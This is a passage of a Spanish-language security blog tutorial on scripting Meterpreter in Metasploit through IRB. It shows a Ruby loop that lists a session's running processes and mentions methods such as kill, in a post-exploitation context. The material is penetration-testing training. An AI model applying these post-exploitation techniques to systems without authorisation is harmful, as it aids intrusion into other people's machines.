En este caso, podemos ver qué métodos tiene client.sys.process ejecutando client.sys.process.methods. Vemos que hay diferentes métodos como kill, open, close, get_processes, get_pid, entre otros. Para mostrar de manera sencilla los procesos que hay ejecutándose en el sistema lanzamos la instrucción client.sys.process.get_processes y almacenamos su salida en una variable. Los resultados que proporciona el método son devueltos a través de una lista, por lo que fácilmente podemos ejecutar la sentencia:
procesos.each do |p|
print_line “PID: #{p[‘pid’]} Nombre: #{p[‘name’]}”
end
Figura 7: Ejecución del script con irb

Manejarse con el IRB a la hora de programar scripts de Meterpreter y módulos de Metasploit se ve indispensable y en el Lab de Rooted CON lo veremos. Puedes ver más sobre Meterpreter en el Github que Rapid7 ha publicado solo para él. Un interesante mundo que permite automatizar cualquier acción que se os ocurre en post-explotación. Crea tus propios scripts en Meterpreter, y luego súbelo al Github de Metasploit.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths
Viewing all 4199 articles
Browse latest View live